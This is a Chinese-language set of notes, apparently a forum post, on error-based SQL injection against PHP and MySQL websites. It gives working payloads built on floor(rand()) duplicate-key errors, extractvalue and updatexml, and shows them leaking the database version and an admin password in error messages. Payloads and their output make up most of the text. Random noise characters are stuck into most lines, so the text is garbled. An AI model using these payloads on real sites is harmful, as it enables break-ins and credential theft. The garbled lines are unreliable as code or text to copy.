放点原来的笔记,Mysql在执行语句的时候会抛出异常信息信息,而php+mysql架构的网站往往又将错误代码显示在页面上,这样可以通过构造如下三种方法获取特定数据。
9 e- w* I/ D M+ e实际测试环境:( U. s7 G3 M J$ }. A% ]
0 K5 z2 Y, @; M3 W: X' @" Q
7 L8 d7 X+ u$ p4 Q" g6 h( _. S$ Emysql> show tables;
! x5 ^7 E' A2 T) o, N8 \( O6 q* w+----------------+3 a# x% a# Y3 \
| Tables_in_test |
* K" N1 c. t) Y9 v3 x+----------------+9 H3 H" v$ N6 z2 S: C
| admin |+ J8 f" d/ |. Z( q
| article |
% N1 J5 \0 F! O2 ^8 q+ }+----------------+
. T, w( \" i0 \: H! @( t: q* c& m+ o 3 R$ `+ z9 f7 y( }/ ]$ }: F, H
# ? H' q, z0 J9 e; |' d
. [5 o8 [3 }& p! Z9 i: L6 qmysql> describe admin;% b/ W1 ~* z0 I- Z
+-------+------------------+------+-----+---------+----------------+
0 u& u# J* {# M% M* n/ }$ q| Field | Type | Null | Key | Default | Extra |' \: j+ K' M; e) M* B! x% q, R% ~, r
+-------+------------------+------+-----+---------+----------------+7 Z l" G' y; ]+ o
| id | int(10) unsigned | NO | PRI | NULL | auto_increment |
' X' i! x, h4 R2 W, w8 g| user | varchar(50) | NO | | NULL | |+ E3 l! C% M0 a, Q8 F' E
| pass | varchar(50) | NO | | NULL | |
0 E' e' b, L( U+-------+------------------+------+-----+---------+----------------+
2 ?" I5 f4 y, g: ?, `. D
- F2 ~% q' a- E C1 {# U + T8 j+ P6 h% `: f' J3 r
5 c- G! G* ? o1 cmysql> describe article;
9 W# Q9 ]6 F; p5 k+ J: Y; [0 A+---------+------------------+------+-----+---------+----------------+
& J- y% l x; `| Field | Type | Null | Key | Default | Extra |/ W6 x% q$ Z6 ?* {, V
+---------+------------------+------+-----+---------+----------------+
8 Z- ~( h, w7 h: I; s# H| id | int(10) unsigned | NO | PRI | NULL | auto_increment |0 z; h8 _' H" Z" O
| title | varchar(50) | NO | | NULL | |
: P u$ v" g* c| content | varchar(50) | NO | | NULL | |/ i1 `6 G' V# z7 A$ E8 y
+---------+------------------+------+-----+---------+----------------+
# |% Y! B9 k3 o' ^1、通过floor报错* ?" Q5 ^- ?, i: }3 i
可以通过如下一些利用代码
4 Y# ~( }" {/ h& w3 Y8 O' s$ E 5 Q# q2 c1 [9 G" |; F0 p0 v
5 k: J9 i( h7 V9 N* @9 o5 S
and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x
, x) t6 g# |5 r) r: x6 K" @% vfrom information_schema.tables group by x)a);
~" F! u: r" ^) N- p$ ^3 E* t 0 P0 H1 C* J9 C1 u; k5 t
2 o. p/ K4 R% k, h0 U$ ^' y; pand (select count(*) from (select 1 union select null union select !1)x7 w5 W/ K# C) b0 \7 N; B
group by concat((select table_name from information_schema.tables limit 1),
; X( Y- k5 Z0 T* q" q' o3 ffloor(rand(0)*2)));
, {/ }* a, N1 v举例如下:
; E7 g/ O. O9 t. n7 u7 ?首先进行正常查询:
& n* J0 w4 Q* N4 Q
# n1 s% Q* E ] ]6 t `mysql> select * from article where id = 1;
b9 l, w% s5 K+----+-------+---------+
$ b0 m, M6 M5 `| id | title | content |
$ W: K# k) Z e7 k& F+----+-------+---------+
5 o) C: |3 N2 P% @. P& }5 a| 1 | test | do it |
3 g9 ~$ O8 z- {' f9 X2 W+----+-------+---------+) g' k/ g/ O2 _' q' j, i1 B5 H
假如id输入存在注入的话,可以通过如下语句进行报错。. |' O" e/ ~1 m: y+ }, p6 }' f3 [
6 G: }9 E, I0 B, `; ?0 z
/ B" ^$ x/ e$ X- o8 y9 n$ K
mysql> select * from article where id = 1 and (select 1 from
/ Q" Z. ^8 U6 U6 Z$ M(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);& P5 t- N8 G4 S* Q( X) O
ERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key', D' I/ r u. {) f
可以看到成功爆出了Mysql的版本,如果需要查询其他数据,可以通过修改version()所在位置语句进行查询。
; W& ?9 W2 F) ~6 A例如我们需要查询管理员用户名和密码: H- b! I# A' M% G& N; b2 P
Method1:0 |2 O$ A* W+ h5 v
) j: @. X% A$ B. {+ d
! c4 y {* Q$ M0 ~& F6 q$ amysql> select * from article where id = 1 and (select 1 from
3 q- i- _1 @* Y& `# ^0 d- l2 A( F(select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x+ i- X5 u% h" Y, e
from information_schema.tables group by x)a);0 k* J* r& [: h5 p. M- q0 P0 Q
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
' `! S% _6 _4 J5 A/ JMethod2:
' f5 w8 q0 ^; i& \6 Z$ m k 8 e3 J7 A G5 A3 a" l
% y5 U6 \. J! T7 | {6 ]6 |' H
mysql> select * from article where id = 1 and (select count(*)- C+ L9 j7 q! l5 C; v8 N
from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),
+ x8 B+ h9 [, N" s% {. W I$ _+ ofloor(rand(0)*2)));
1 Y0 M# b9 }* [* }ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key', |: X: _5 W p
2、ExtractValue
$ B$ w, W6 t' T. e测试语句如下+ t ?' d. k2 e3 b+ _
# C" l: v* N3 i+ A3 a; W ) k$ f; ]5 S$ u( A- k. W3 d
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
: _: o" D, z/ b5 p! r. c实际测试过程
+ a0 K/ u# G, l1 \+ I$ x) F5 | 7 F& r# f: h. }6 @8 i( A6 Z
8 c0 \8 J$ g: }! Kmysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,
_& f$ J, W2 H. L* `0 `; b(select pass from admin limit 1)));--3 Q3 k& d$ x L; {) V
ERROR 1105 (HY000): XPATH syntax error: '\admin888'1 f5 [# }/ b) Q8 ^( ?9 r+ q" ]
3、UpdateXml
5 r2 j/ w; z: C: t. x* x9 x测试语句
: l9 x& g& b: _/ m% O6 s
( Y( O* G; s9 e7 B' X& J% Q6 ~# Z
5 H8 l+ h* x9 D" [- eand 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1)): w0 ]+ M5 M0 W& Z4 ~" n
实际测试过程
# Q' ]' X9 j$ U3 n2 t' \, v5 _, I . C2 ~1 X( N$ a2 u/ Z9 p
]' w/ L# G7 w' e4 b r
mysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,
, o, f/ L" D: o/ V; R6 E(select pass from admin limit 1),0x5e24),1));% I6 A" `) h6 k& @6 ]% V
ERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'
! j5 w5 g- b9 u% _5 |; |All, thanks foreign guys.
" h: ?0 h+ P% I& k$ U
2 j; m8 t% @1 p3 `
9 s* S: q N# a9 A8 t9 R |